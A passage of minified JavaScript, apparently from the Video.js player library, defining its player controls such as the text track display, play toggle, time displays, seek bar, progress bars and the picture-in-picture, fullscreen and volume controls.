this.hide();e.on("fullscreenchange",n),e.on("playerresize",n);const t=r().screen.orientation||r(),i=r().screen.orientation?"change":"orientationchange";t.addEventListener(i,n),e.on("dispose",(()=>t.removeEventListener(i,n)));const s=this.options_.playerOptions.tracks||[];for(let e=0;e<s.length;e++)this.player_.addRemoteTextTrack(s[e],!0);this.preselectTrack()})))}preselectTrack(){const e={captions:1,subtitles:1},t=this.player_.textTracks(),i=this.player_.cache_.selectedLanguage;let n,r,s;for(let a=0;a<t.length;a++){const o=t[a];i&&i.enabled&&i.language&&i.language===o.language&&o.kind in e?o.kind===i.kind?s=o:s||(s=o):i&&!i.enabled?(s=null,n=null,r=null):o.default&&("descriptions"!==o.kind||n?o.kind in e&&!r&&(r=o):n=o)}s?s.mode="showing":r?r.mode="showing":n&&(n.mode="showing")}toggleDisplay(){this.player_.tech_&&this.player_.tech_.featuresNativeTextTracks?this.hide():this.show()}createEl(){return super.createEl("div",{className:"vjs-text-track-display"},{translate:"yes","aria-live":"off","aria-atomic":"true"})}clearDisplay(){"function"==typeof r().WebVTT&&r().WebVTT.processCues(r(),[],this.el_)}updateDisplay(){const e=this.player_.textTracks(),t=this.options_.allowMultipleShowingTracks;if(this.clearDisplay(),t){const t=[];for(let i=0;i<e.length;++i){const n=e[i];"showing"===n.mode&&t.push(n)}return void this.updateForTrack(t)}let i=null,n=null,r=e.length;for(;r--;){const t=e[r];"showing"===t.mode&&("descriptions"===t.kind?i=t:n=t)}n?("off"!==this.getAttribute("aria-live")&&this.setAttribute("aria-live","off"),this.updateForTrack(n)):i&&("assertive"!==this.getAttribute("aria-live")&&this.setAttribute("aria-live","assertive"),this.updateForTrack(i))}updateDisplayState(e){const t=this.player_.textTrackSettings.getValues(),i=e.activeCues;let n=i.length;for(;n--;){const e=i[n];if(!e)continue;const s=e.displayState;if(t.color&&(s.firstChild.style.color=t.color),t.textOpacity&&Ar(s.firstChild,"color",Pr(t.color||"#fff",t.textOpacity)),t.backgroundColor&&(s.firstChild.style.backgroundColor=t.backgroundColor),t.backgroundOpacity&&Ar(s.firstChild,"backgroundColor",Pr(t.backgroundColor||"#000",t.backgroundOpacity)),t.windowColor&&(t.windowOpacity?Ar(s,"backgroundColor",Pr(t.windowColor,t.windowOpacity)):s.style.backgroundColor=t.windowColor),t.edgeStyle&&("dropshadow"===t.edgeStyle?s.firstChild.style.textShadow=`2px 2px 3px ${Cr}, 2px 2px 4px ${Cr}, 2px 2px 5px ${Cr}`:"raised"===t.edgeStyle?s.firstChild.style.textShadow=`1px 1px ${Cr}, 2px 2px ${Cr}, 3px 3px ${Cr}`:"depressed"===t.edgeStyle?s.firstChild.style.textShadow=`1px 1px #ccc, 0 1px #ccc, -1px -1px ${Cr}, 0 -1px ${Cr}`:"uniform"===t.edgeStyle&&(s.firstChild.style.textShadow=`0 0 4px ${Cr}, 0 0 4px ${Cr}, 0 0 4px ${Cr}, 0 0 4px ${Cr}`)),t.fontPercent&&1!==t.fontPercent){const e=r().parseFloat(s.style.fontSize);s.style.fontSize=e*t.fontPercent+"px",s.style.height="auto",s.style.top="auto"}t.fontFamily&&"default"!==t.fontFamily&&("small-caps"===t.fontFamily?s.firstChild.style.fontVariant="small-caps":s.firstChild.style.fontFamily=Er[t.fontFamily])}}updateForTrack(e){if(Array.isArray(e)||(e=[e]),"function"!=typeof r().WebVTT||e.every((e=>!e.activeCues)))return;const t=[];for(let i=0;i<e.length;++i){const n=e[i];for(let e=0;e<n.activeCues.length;++e)t.push(n.activeCues[e])}r().WebVTT.processCues(r(),t,this.el_);for(let t=0;t<e.length;++t){const i=e[t];for(let e=0;e<i.activeCues.length;++e){const n=i.activeCues[e].displayState;ui(n,"vjs-text-track-cue","vjs-text-track-cue-"+(i.language?i.language:t)),i.language&&mi(n,"lang",i.language)}this.player_.textTrackSettings&&this.updateDisplayState(i)}}}),Sn.registerComponent("LoadingSpinner",class extends Sn{createEl(){const e=this.player_.isAudio(),t=this.localize(e?"Audio Player":"Video Player"),i=si("span",{className:"vjs-control-text",textContent:this.localize("{1} is loading.",[t])}),n=super.createEl("div",{className:"vjs-loading-spinner",dir:"ltr"});return n.appendChild(i),n}handleLanguagechange(){this.$(".vjs-control-text").textContent=this.localize("{1} is loading.",[this.player_.isAudio()?"Audio Player":"Video Player"])}});class Ir extends xr{createEl(e,t={},i={}){const n=si("button",t=Object.assign({className:this.buildCSSClass()},t),i=Object.assign({type:"button"},i));return n.appendChild(si("span",{className:"vjs-icon-placeholder"},{"aria-hidden":!0})),this.createControlTextEl(n),n}addChild(e,t={}){const i=this.constructor.name;return kt.warn(`Adding an actionable (user controllable) child to a Button (${i}) is not supported; use a ClickableComponent instead.`),Sn.prototype.addChild.call(this,e,t)}enable(){super.enable(),this.el_.removeAttribute("disabled")}disable(){super.disable(),this.el_.setAttribute("disabled","disabled")}handleKeyDown(e){l().isEventKey(e,"Space")||l().isEventKey(e,"Enter")?e.stopPropagation():super.handleKeyDown(e)}}Sn.registerComponent("Button",Ir);class Or extends Ir{constructor(e,t){super(e,t),this.mouseused_=!1,this.on("mousedown",(e=>this.handleMouseDown(e)))}buildCSSClass(){return"vjs-big-play-button"}handleClick(e){const t=this.player_.play();if(this.mouseused_&&e.clientX&&e.clientY)return jn(t),void(this.player_.tech(!0)&&this.player_.tech(!0).focus());const i=this.player_.getChild("controlBar"),n=i&&i.getChild("playToggle");if(!n)return void this.player_.tech(!0).focus();const r=()=>n.focus();$n(t)?t.then(r,(()=>{})):this.setTimeout(r,1)}handleKeyDown(e){this.mouseused_=!1,super.handleKeyDown(e)}handleMouseDown(e){this.mouseused_=!0}}Or.prototype.controlText_="Play Video",Sn.registerComponent("BigPlayButton",Or),Sn.registerComponent("CloseButton",class extends Ir{constructor(e,t){super(e,t),this.controlText(t&&t.controlText||this.localize("Close"))}buildCSSClass(){return`vjs-close-button ${super.buildCSSClass()}`}handleClick(e){this.trigger({type:"close",bubbles:!1})}handleKeyDown(e){l().isEventKey(e,"Esc")?(e.preventDefault(),e.stopPropagation(),this.trigger("click")):super.handleKeyDown(e)}});class Yr extends Ir{constructor(e,t={}){super(e,t),t.replay=void 0===t.replay||t.replay,this.on(e,"play",(e=>this.handlePlay(e))),this.on(e,"pause",(e=>this.handlePause(e))),t.replay&&this.on(e,"ended",(e=>this.handleEnded(e)))}buildCSSClass(){return`vjs-play-control ${super.buildCSSClass()}`}handleClick(e){this.player_.paused()?jn(this.player_.play()):this.player_.pause()}handleSeeked(e){this.removeClass("vjs-ended"),this.player_.paused()?this.handlePause(e):this.handlePlay(e)}handlePlay(e){this.removeClass("vjs-ended","vjs-paused"),this.addClass("vjs-playing"),this.controlText("Pause")}handlePause(e){this.removeClass("vjs-playing"),this.addClass("vjs-paused"),this.controlText("Play")}handleEnded(e){this.removeClass("vjs-playing"),this.addClass("vjs-ended"),this.controlText("Replay"),this.one(this.player_,"seeked",(e=>this.handleSeeked(e)))}}Yr.prototype.controlText_="Play",Sn.registerComponent("PlayToggle",Yr);class $r extends Sn{constructor(e,t){super(e,t),this.on(e,["timeupdate","ended"],(e=>this.updateContent(e))),this.updateTextNode_()}createEl(){const e=this.buildCSSClass(),t=super.createEl("div",{className:`${e} vjs-time-control vjs-control`}),i=si("span",{className:"vjs-control-text",textContent:`${this.localize(this.labelText_)} `},{role:"presentation"});return t.appendChild(i),this.contentEl_=si("span",{className:`${e}-display`},{role:"presentation"}),t.appendChild(this.contentEl_),t}dispose(){this.contentEl_=null,this.textNode_=null,super.dispose()}updateTextNode_(e=0){e=An(e),this.formattedTime_!==e&&(this.formattedTime_=e,this.requestNamedAnimationFrame("TimeDisplay#updateTextNode_",(()=>{if(!this.contentEl_)return;let e=this.textNode_;e&&this.contentEl_.firstChild!==e&&(e=null,kt.warn("TimeDisplay#updateTextnode_: Prevented replacement of text node element since it was no longer a child of this node. Appending a new node instead.")),this.textNode_=a().createTextNode(this.formattedTime_),this.textNode_&&(e?this.contentEl_.replaceChild(this.textNode_,e):this.contentEl_.appendChild(this.textNode_))})))}updateContent(e){}}$r.prototype.labelText_="Time",$r.prototype.controlText_="Time",Sn.registerComponent("TimeDisplay",$r);class jr extends $r{buildCSSClass(){return"vjs-current-time"}updateContent(e){let t;t=this.player_.ended()?this.player_.duration():this.player_.scrubbing()?this.player_.getCache().currentTime:this.player_.currentTime(),this.updateTextNode_(t)}}jr.prototype.labelText_="Current Time",jr.prototype.controlText_="Current Time",Sn.registerComponent("CurrentTimeDisplay",jr);class Nr extends $r{constructor(e,t){super(e,t);const i=e=>this.updateContent(e);this.on(e,"durationchange",i),this.on(e,"loadstart",i),this.on(e,"loadedmetadata",i)}buildCSSClass(){return"vjs-duration"}updateContent(e){const t=this.player_.duration();this.updateTextNode_(t)}}Nr.prototype.labelText_="Duration",Nr.prototype.controlText_="Duration",Sn.registerComponent("DurationDisplay",Nr),Sn.registerComponent("TimeDivider",class extends Sn{createEl(){const e=super.createEl("div",{className:"vjs-time-control vjs-time-divider"},{"aria-hidden":!0}),t=super.createEl("div"),i=super.createEl("span",{textContent:"/"});return t.appendChild(i),e.appendChild(t),e}});class Rr extends $r{constructor(e,t){super(e,t),this.on(e,"durationchange",(e=>this.updateContent(e)))}buildCSSClass(){return"vjs-remaining-time"}createEl(){const e=super.createEl();return!1!==this.options_.displayNegative&&e.insertBefore(si("span",{},{"aria-hidden":!0},"-"),this.contentEl_),e}updateContent(e){if("number"!=typeof this.player_.duration())return;let t;t=this.player_.ended()?0:this.player_.remainingTimeDisplay?this.player_.remainingTimeDisplay():this.player_.remainingTime(),this.updateTextNode_(t)}}Rr.prototype.labelText_="Remaining Time",Rr.prototype.controlText_="Remaining Time",Sn.registerComponent("RemainingTimeDisplay",Rr),Sn.registerComponent("LiveDisplay",class extends Sn{constructor(e,t){super(e,t),this.updateShowing(),this.on(this.player(),"durationchange",(e=>this.updateShowing(e)))}createEl(){const e=super.createEl("div",{className:"vjs-live-control vjs-control"});return this.contentEl_=si("div",{className:"vjs-live-display"},{"aria-live":"off"}),this.contentEl_.appendChild(si("span",{className:"vjs-control-text",textContent:`${this.localize("Stream Type")} `})),this.contentEl_.appendChild(a().createTextNode(this.localize("LIVE"))),e.appendChild(this.contentEl_),e}dispose(){this.contentEl_=null,super.dispose()}updateShowing(e){this.player().duration()===1/0?this.show():this.hide()}});class Hr extends Ir{constructor(e,t){super(e,t),this.updateLiveEdgeStatus(),this.player_.liveTracker&&(this.updateLiveEdgeStatusHandler_=e=>this.updateLiveEdgeStatus(e),this.on(this.player_.liveTracker,"liveedgechange",this.updateLiveEdgeStatusHandler_))}createEl(){const e=super.createEl("button",{className:"vjs-seek-to-live-control vjs-control"});return this.textEl_=si("span",{className:"vjs-seek-to-live-text",textContent:this.localize("LIVE")},{"aria-hidden":"true"}),e.appendChild(this.textEl_),e}updateLiveEdgeStatus(){!this.player_.liveTracker||this.player_.liveTracker.atLiveEdge()?(this.setAttribute("aria-disabled",!0),this.addClass("vjs-at-live-edge"),this.controlText("Seek to live, currently playing live")):(this.setAttribute("aria-disabled",!1),this.removeClass("vjs-at-live-edge"),this.controlText("Seek to live, currently behind live"))}handleClick(){this.player_.liveTracker.seekToLiveEdge()}dispose(){this.player_.liveTracker&&this.off(this.player_.liveTracker,"liveedgechange",this.updateLiveEdgeStatusHandler_),this.textEl_=null,super.dispose()}}function Fr(e,t,i){return e=Number(e),Math.min(i,Math.max(t,isNaN(e)?t:e))}Hr.prototype.controlText_="Seek to live, currently playing live",Sn.registerComponent("SeekToLive",Hr);var Br=Object.freeze({__proto__:null,clamp:Fr});class Ur extends Sn{constructor(e,t){super(e,t),this.handleMouseDown_=e=>this.handleMouseDown(e),this.handleMouseUp_=e=>this.handleMouseUp(e),this.handleKeyDown_=e=>this.handleKeyDown(e),this.handleClick_=e=>this.handleClick(e),this.handleMouseMove_=e=>this.handleMouseMove(e),this.update_=e=>this.update(e),this.bar=this.getChild(this.options_.barName),this.vertical(!!this.options_.vertical),this.enable()}enabled(){return this.enabled_}enable(){this.enabled()||(this.on("mousedown",this.handleMouseDown_),this.on("touchstart",this.handleMouseDown_),this.on("keydown",this.handleKeyDown_),this.on("click",this.handleClick_),this.on(this.player_,"controlsvisible",this.update),this.playerEvent&&this.on(this.player_,this.playerEvent,this.update),this.removeClass("disabled"),this.setAttribute("tabindex",0),this.enabled_=!0)}disable(){if(!this.enabled())return;const e=this.bar.el_.ownerDocument;this.off("mousedown",this.handleMouseDown_),this.off("touchstart",this.handleMouseDown_),this.off("keydown",this.handleKeyDown_),this.off("click",this.handleClick_),this.off(this.player_,"controlsvisible",this.update_),this.off(e,"mousemove",this.handleMouseMove_),this.off(e,"mouseup",this.handleMouseUp_),this.off(e,"touchmove",this.handleMouseMove_),this.off(e,"touchend",this.handleMouseUp_),this.removeAttribute("tabindex"),this.addClass("disabled"),this.playerEvent&&this.off(this.player_,this.playerEvent,this.update),this.enabled_=!1}createEl(e,t={},i={}){return t.className=t.className+" vjs-slider",t=Object.assign({tabIndex:0},t),i=Object.assign({role:"slider","aria-valuenow":0,"aria-valuemin":0,"aria-valuemax":100},i),super.createEl(e,t,i)}handleMouseDown(e){const t=this.bar.el_.ownerDocument;"mousedown"===e.type&&e.preventDefault(),"touchstart"!==e.type||Ft||e.preventDefault(),_i(),this.addClass("vjs-sliding"),this.trigger("slideractive"),this.on(t,"mousemove",this.handleMouseMove_),this.on(t,"mouseup",this.handleMouseUp_),this.on(t,"touchmove",this.handleMouseMove_),this.on(t,"touchend",this.handleMouseUp_),this.handleMouseMove(e,!0)}handleMouseMove(e){}handleMouseUp(e){const t=this.bar.el_.ownerDocument;vi(),this.removeClass("vjs-sliding"),this.trigger("sliderinactive"),this.off(t,"mousemove",this.handleMouseMove_),this.off(t,"mouseup",this.handleMouseUp_),this.off(t,"touchmove",this.handleMouseMove_),this.off(t,"touchend",this.handleMouseUp_),this.update()}update(){if(!this.el_||!this.bar)return;const e=this.getProgress();return e===this.progress_||(this.progress_=e,this.requestNamedAnimationFrame("Slider#update",(()=>{const t=this.vertical()?"height":"width";this.bar.el().style[t]=(100*e).toFixed(2)+"%"}))),e}getProgress(){return Number(Fr(this.getPercent(),0,1).toFixed(4))}calculateDistance(e){const t=wi(this.el_,e);return this.vertical()?t.y:t.x}handleKeyDown(e){l().isEventKey(e,"Left")||l().isEventKey(e,"Down")?(e.preventDefault(),e.stopPropagation(),this.stepBack()):l().isEventKey(e,"Right")||l().isEventKey(e,"Up")?(e.preventDefault(),e.stopPropagation(),this.stepForward()):super.handleKeyDown(e)}handleClick(e){e.stopPropagation(),e.preventDefault()}vertical(e){if(void 0===e)return this.vertical_||!1;this.vertical_=!!e,this.vertical_?this.addClass("vjs-slider-vertical"):this.addClass("vjs-slider-horizontal")}}Sn.registerComponent("Slider",Ur);const Wr=(e,t)=>Fr(e/t*100,0,100).toFixed(2)+"%";Sn.registerComponent("LoadProgressBar",class extends Sn{constructor(e,t){super(e,t),this.partEls_=[],this.on(e,"progress",(e=>this.update(e)))}createEl(){const e=super.createEl("div",{className:"vjs-load-progress"}),t=si("span",{className:"vjs-control-text"}),i=si("span",{textContent:this.localize("Loaded")}),n=a().createTextNode(": ");return this.percentageEl_=si("span",{className:"vjs-control-text-loaded-percentage",textContent:"0%"}),e.appendChild(t),t.appendChild(i),t.appendChild(n),t.appendChild(this.percentageEl_),e}dispose(){this.partEls_=null,this.percentageEl_=null,super.dispose()}update(e){this.requestNamedAnimationFrame("LoadProgressBar#update",(()=>{const e=this.player_.liveTracker,t=this.player_.buffered(),i=e&&e.isLive()?e.seekableEnd():this.player_.duration(),n=this.player_.bufferedEnd(),r=this.partEls_,s=Wr(n,i);this.percent_!==s&&(this.el_.style.width=s,ai(this.percentageEl_,s),this.percent_=s);for(let e=0;e<t.length;e++){const i=t.start(e),s=t.end(e);let a=r[e];a||(a=this.el_.appendChild(si()),r[e]=a),a.dataset.start===i&&a.dataset.end===s||(a.dataset.start=i,a.dataset.end=s,a.style.left=Wr(i,n),a.style.width=Wr(s-i,n))}for(let e=r.length;e>t.length;e--)this.el_.removeChild(r[e-1]);r.length=t.length}))}}),Sn.registerComponent("TimeTooltip",class extends Sn{constructor(e,t){super(e,t),this.update=nn(tn(this,this.update),30)}createEl(){return super.createEl("div",{className:"vjs-time-tooltip"},{"aria-hidden":"true"})}update(e,t,i){const n=bi(this.el_),r=yi(this.player_.el()),s=e.width*t;if(!r||!n)return;const a=e.left-r.left+s,o=e.width-s+(r.right-e.right);let l=n.width/2;a<l?l+=l-a:o<l&&(l=o),l<0?l=0:l>n.width&&(l=n.width),l=Math.round(l),this.el_.style.right=`-${l}px`,this.write(i)}write(e){ai(this.el_,e)}updateTime(e,t,i,n){this.requestNamedAnimationFrame("TimeTooltip#updateTime",(()=>{let r;const s=this.player_.duration();if(this.player_.liveTracker&&this.player_.liveTracker.isLive()){const e=this.player_.liveTracker.liveWindow(),i=e-t*e;r=(i<1?"":"-")+An(i,e)}else r=An(i,s);this.update(e,t,r),n&&n()}))}});class zr extends Sn{constructor(e,t){super(e,t),this.update=nn(tn(this,this.update),30)}createEl(){return super.createEl("div",{className:"vjs-play-progress vjs-slider-bar"},{"aria-hidden":"true"})}update(e,t){const i=this.getChild("timeTooltip");if(!i)return;const n=this.player_.scrubbing()?this.player_.getCache().currentTime:this.player_.currentTime();i.updateTime(e,t,n)}}zr.prototype.options_={children:[]},Xt||jt||zr.prototype.options_.children.push("timeTooltip"),Sn.registerComponent("PlayProgressBar",zr);class qr extends Sn{constructor(e,t){super(e,t),this.update=nn(tn(this,this.update),30)}createEl(){return super.createEl("div",{className:"vjs-mouse-display"})}update(e,t){const i=t*this.player_.duration();this.getChild("timeTooltip").updateTime(e,t,i,(()=>{this.el_.style.left=e.width*t+"px"}))}}qr.prototype.options_={children:["timeTooltip"]},Sn.registerComponent("MouseTimeDisplay",qr);class Vr extends Ur{constructor(e,t){super(e,t),this.setEventHandlers_()}setEventHandlers_(){this.update_=tn(this,this.update),this.update=nn(this.update_,30),this.on(this.player_,["ended","durationchange","timeupdate"],this.update),this.player_.liveTracker&&this.on(this.player_.liveTracker,"liveedgechange",this.update),this.updateInterval=null,this.enableIntervalHandler_=e=>this.enableInterval_(e),this.disableIntervalHandler_=e=>this.disableInterval_(e),this.on(this.player_,["playing"],this.enableIntervalHandler_),this.on(this.player_,["ended","pause","waiting"],this.disableIntervalHandler_),"hidden"in a()&&"visibilityState"in a()&&this.on(a(),"visibilitychange",this.toggleVisibility_)}toggleVisibility_(e){"hidden"===a().visibilityState?(this.cancelNamedAnimationFrame("SeekBar#update"),this.cancelNamedAnimationFrame("Slider#update"),this.disableInterval_(e)):(this.player_.ended()||this.player_.paused()||this.enableInterval_(),this.update())}enableInterval_(){this.updateInterval||(this.updateInterval=this.setInterval(this.update,30))}disableInterval_(e){this.player_.liveTracker&&this.player_.liveTracker.isLive()&&e&&"ended"!==e.type||this.updateInterval&&(this.clearInterval(this.updateInterval),this.updateInterval=null)}createEl(){return super.createEl("div",{className:"vjs-progress-holder"},{"aria-label":this.localize("Progress Bar")})}update(e){if("hidden"===a().visibilityState)return;const t=super.update();return this.requestNamedAnimationFrame("SeekBar#update",(()=>{const e=this.player_.ended()?this.player_.duration():this.getCurrentTime_(),i=this.player_.liveTracker;let n=this.player_.duration();i&&i.isLive()&&(n=this.player_.liveTracker.liveCurrentTime()),this.percent_!==t&&(this.el_.setAttribute("aria-valuenow",(100*t).toFixed(2)),this.percent_=t),this.currentTime_===e&&this.duration_===n||(this.el_.setAttribute("aria-valuetext",this.localize("progress bar timing: currentTime={1} duration={2}",[An(e,n),An(n,n)],"{1} of {2}")),this.currentTime_=e,this.duration_=n),this.bar&&this.bar.update(yi(this.el()),this.getProgress())})),t}userSeek_(e){this.player_.liveTracker&&this.player_.liveTracker.isLive()&&this.player_.liveTracker.nextSeekedFromUser(),this.player_.currentTime(e)}getCurrentTime_(){return this.player_.scrubbing()?this.player_.getCache().currentTime:this.player_.currentTime()}getPercent(){const e=this.getCurrentTime_();let t;const i=this.player_.liveTracker;return i&&i.isLive()?(t=(e-i.seekableStart())/i.liveWindow(),i.atLiveEdge()&&(t=1)):t=e/this.player_.duration(),t}handleMouseDown(e){Li(e)&&(e.stopPropagation(),this.videoWasPlaying=!this.player_.paused(),this.player_.pause(),super.handleMouseDown(e))}handleMouseMove(e,t=!1){if(!Li(e))return;let i;t||this.player_.scrubbing()||this.player_.scrubbing(!0);const n=this.calculateDistance(e),r=this.player_.liveTracker;if(r&&r.isLive()){if(n>=.99)return void r.seekToLiveEdge();const e=r.seekableStart(),t=r.liveCurrentTime();if(i=e+n*r.liveWindow(),i>=t&&(i=t),i<=e&&(i=e+.1),i===1/0)return}else i=n*this.player_.duration(),i===this.player_.duration()&&(i-=.1);this.userSeek_(i)}enable(){super.enable();const e=this.getChild("mouseTimeDisplay");e&&e.show()}disable(){super.disable();const e=this.getChild("mouseTimeDisplay");e&&e.hide()}handleMouseUp(e){super.handleMouseUp(e),e&&e.stopPropagation(),this.player_.scrubbing(!1),this.player_.trigger({type:"timeupdate",target:this,manuallyTriggered:!0}),this.videoWasPlaying?jn(this.player_.play()):this.update_()}stepForward(){this.userSeek_(this.player_.currentTime()+5)}stepBack(){this.userSeek_(this.player_.currentTime()-5)}handleAction(e){this.player_.paused()?this.player_.play():this.player_.pause()}handleKeyDown(e){const t=this.player_.liveTracker;if(l().isEventKey(e,"Space")||l().isEventKey(e,"Enter"))e.preventDefault(),e.stopPropagation(),this.handleAction(e);else if(l().isEventKey(e,"Home"))e.preventDefault(),e.stopPropagation(),this.userSeek_(0);else if(l().isEventKey(e,"End"))e.preventDefault(),e.stopPropagation(),t&&t.isLive()?this.userSeek_(t.liveCurrentTime()):this.userSeek_(this.player_.duration());else if(/^[0-9]$/.test(l()(e))){e.preventDefault(),e.stopPropagation();const i=10*(l().codes[l()(e)]-l().codes[0])/100;t&&t.isLive()?this.userSeek_(t.seekableStart()+t.liveWindow()*i):this.userSeek_(this.player_.duration()*i)}else l().isEventKey(e,"PgDn")?(e.preventDefault(),e.stopPropagation(),this.userSeek_(this.player_.currentTime()-60)):l().isEventKey(e,"PgUp")?(e.preventDefault(),e.stopPropagation(),this.userSeek_(this.player_.currentTime()+60)):super.handleKeyDown(e)}dispose(){this.disableInterval_(),this.off(this.player_,["ended","durationchange","timeupdate"],this.update),this.player_.liveTracker&&this.off(this.player_.liveTracker,"liveedgechange",this.update),this.off(this.player_,["playing"],this.enableIntervalHandler_),this.off(this.player_,["ended","pause","waiting"],this.disableIntervalHandler_),"hidden"in a()&&"visibilityState"in a()&&this.off(a(),"visibilitychange",this.toggleVisibility_),super.dispose()}}Vr.prototype.options_={children:["loadProgressBar","playProgressBar"],barName:"playProgressBar"},Xt||jt||Vr.prototype.options_.children.splice(1,0,"mouseTimeDisplay"),Sn.registerComponent("SeekBar",Vr);class Jr extends Sn{constructor(e,t){super(e,t),this.handleMouseMove=nn(tn(this,this.handleMouseMove),30),this.throttledHandleMouseSeek=nn(tn(this,this.handleMouseSeek),30),this.handleMouseUpHandler_=e=>this.handleMouseUp(e),this.handleMouseDownHandler_=e=>this.handleMouseDown(e),this.enable()}createEl(){return super.createEl("div",{className:"vjs-progress-control vjs-control"})}handleMouseMove(e){const t=this.getChild("seekBar");if(!t)return;const i=t.getChild("playProgressBar"),n=t.getChild("mouseTimeDisplay");if(!i&&!n)return;const r=t.el(),s=bi(r);let a=wi(r,e).x;a=Fr(a,0,1),n&&n.update(s,a),i&&i.update(s,t.getProgress())}handleMouseSeek(e){const t=this.getChild("seekBar");t&&t.handleMouseMove(e)}enabled(){return this.enabled_}disable(){if(this.children().forEach((e=>e.disable&&e.disable())),this.enabled()&&(this.off(["mousedown","touchstart"],this.handleMouseDownHandler_),this.off(this.el_,"mousemove",this.handleMouseMove),this.removeListenersAddedOnMousedownAndTouchstart(),this.addClass("disabled"),this.enabled_=!1,this.player_.scrubbing())){const e=this.getChild("seekBar");this.player_.scrubbing(!1),e.videoWasPlaying&&jn(this.player_.play())}}enable(){this.children().forEach((e=>e.enable&&e.enable())),this.enabled()||(this.on(["mousedown","touchstart"],this.handleMouseDownHandler_),this.on(this.el_,"mousemove",this.handleMouseMove),this.removeClass("disabled"),this.enabled_=!0)}removeListenersAddedOnMousedownAndTouchstart(){const e=this.el_.ownerDocument;this.off(e,"mousemove",this.throttledHandleMouseSeek),this.off(e,"touchmove",this.throttledHandleMouseSeek),this.off(e,"mouseup",this.handleMouseUpHandler_),this.off(e,"touchend",this.handleMouseUpHandler_)}handleMouseDown(e){const t=this.el_.ownerDocument,i=this.getChild("seekBar");i&&i.handleMouseDown(e),this.on(t,"mousemove",this.throttledHandleMouseSeek),this.on(t,"touchmove",this.throttledHandleMouseSeek),this.on(t,"mouseup",this.handleMouseUpHandler_),this.on(t,"touchend",this.handleMouseUpHandler_)}handleMouseUp(e){const t=this.getChild("seekBar");t&&t.handleMouseUp(e),this.removeListenersAddedOnMousedownAndTouchstart()}}Jr.prototype.options_={children:["seekBar"]},Sn.registerComponent("ProgressControl",Jr);class Gr extends Ir{constructor(e,t){super(e,t),this.on(e,["enterpictureinpicture","leavepictureinpicture"],(e=>this.handlePictureInPictureChange(e))),this.on(e,["disablepictureinpicturechanged","loadedmetadata"],(e=>this.handlePictureInPictureEnabledChange(e))),this.on(e,["loadedmetadata","audioonlymodechange","audiopostermodechange"],(()=>{"audio"===e.currentType().substring(0,5)||e.audioPosterMode()||e.audioOnlyMode()?(e.isInPictureInPicture()&&e.exitPictureInPicture(),this.hide()):this.show()})),this.disable()}buildCSSClass(){return`vjs-picture-in-picture-control ${super.buildCSSClass()}`}handlePictureInPictureEnabledChange(){a().pictureInPictureEnabled&&!1===this.player_.disablePictureInPicture()||this.player_.options_.enableDocumentPictureInPicture&&"documentPictureInPicture"in r()?this.enable():this.disable()}handlePictureInPictureChange(e){this.player_.isInPictureInPicture()?this.controlText("Exit Picture-in-Picture"):this.controlText("Picture-in-Picture"),this.handlePictureInPictureEnabledChange()}handleClick(e){this.player_.isInPictureInPicture()?this.player_.exitPictureInPicture():this.player_.requestPictureInPicture()}}Gr.prototype.controlText_="Picture-in-Picture",Sn.registerComponent("PictureInPictureToggle",Gr);class Kr extends Ir{constructor(e,t){super(e,t),this.on(e,"fullscreenchange",(e=>this.handleFullscreenChange(e))),!1===a()[e.fsApi_.fullscreenEnabled]&&this.disable()}buildCSSClass(){return`vjs-fullscreen-control ${super.buildCSSClass()}`}handleFullscreenChange(e){this.player_.isFullscreen()?this.controlText("Exit Fullscreen"):this.controlText("Fullscreen")}handleClick(e){this.player_.isFullscreen()?this.player_.exitFullscreen():this.player_.requestFullscreen()}}Kr.prototype.controlText_="Fullscreen",Sn.registerComponent("FullscreenToggle",Kr),Sn.registerComponent("VolumeLevel",class extends Sn{createEl(){const e=super.createEl("div",{className:"vjs-volume-level"});return e.appendChild(super.createEl("span",{className:"vjs-control-text"})),e}}),Sn.registerComponent("VolumeLevelTooltip",class extends Sn{constructor(e,t){super(e,t),this.update=nn(tn(this,this.update),30)}createEl(){return super.createEl("div",{className:"vjs-volume-tooltip"},{"aria-hidden":"true"})}update(e,t,i,n){if(!i){const i=yi(this.el_),n=yi(this.player_.el()),r=e.width*t;if(!n||!i)return;const s=e.left-n.left+r,a=e.width-r+(n.right-e.right);let o=i.width/2;s<o?o+=o-s:a<o&&(o=a),o<0?o=0:o>i.width&&(o=i.width),this.el_.style.right=`-${o}px`}this.write(`${n}%`)}write(e){ai(this.el_,e)}updateVolume(e,t,i,n,r){this.requestNamedAnimationFrame("VolumeLevelTooltip#updateVolume",(()=>{this.update(e,t,i,n.toFixed(0)),r&&r()}))}});class Xr extends Sn{constructor(e,t){super(e,t),this.update=nn(tn(this,this.update),30)}createEl(){return super.createEl("div",{className:"vjs-mouse-display"})}update(e,t,i){const n=100*t;this.getChild("volumeLevelTooltip").updateVolume(e,t,i,n,(()=>{i?this.el_.style.bottom=e.height*t+"px":this.el_.style.left=e.width*t+"px"}))}}Xr.prototype.options_={children:["volumeLevelTooltip"]},Sn.registerComponent("MouseVolumeLevelDisplay",Xr);class Zr extends Ur{constructor(e,t){super(e,t),this.on("slideractive",(e=>this.updateLastVolume_(e))),this.on(e,"volumechange",(e=>this.updateARIAAttributes(e))),e.ready((()=>this.updateARIAAttributes()))}createEl(){return super.createEl("div",{className:"vjs-volume-bar vjs-slider-bar"},{"aria-label":this.localize("Volume Level"),"aria-live":"polite"})}handleMouseDown(e){Li(e)&&super.handleMouseDown(e)}handleMouseMove(e){const t=this.getChild("mouseVolumeLevelDisplay");if(t){const i=this.el(),n=yi(i),r=this.vertical();let s=wi(i,e);s=r?s.y:s.x,s=Fr(s,0,1),t.update(n,s,r)}Li(e)&&(this.checkMuted(),this.player_.volume(this.calculateDistance(e)))}checkMuted(){this.player_.muted()&&this.player_.muted(!1)}getPercent(){return this.player_.muted()?0:this.player_.volume()}stepForward(){this.checkMuted(),this.player_.volume(this.player_.volume()+.1)}stepBack(){this.checkMuted(),this.player_.volume(this.player_.volume()-.1)}updateARIAAttributes(e){const t=this.player_.muted()?0:this.volumeAsPercentage_();this.el_.setAttribute("aria-valuenow",t),this.el_.setAttribute("aria-valuetext",t+"%")}volumeAsPercentage_(){return Math.round(100*this.player_.volume())}updateLastVolume_(){const e=this.player_.volume();this.one("sliderinactive",(()=>{0===this.player_.volume()&&this.player_.lastVolume_(e)}))}}Zr.prototype.options_={children:["volumeLevel"],barName:"volumeLevel"},Xt||jt||Zr.prototype.options_.children.splice(0,0,"mouseVolumeLevelDisplay"),Zr.prototype.playerEvent="volumechange",Sn.registerComponent("VolumeBar",Zr);class Qr extends 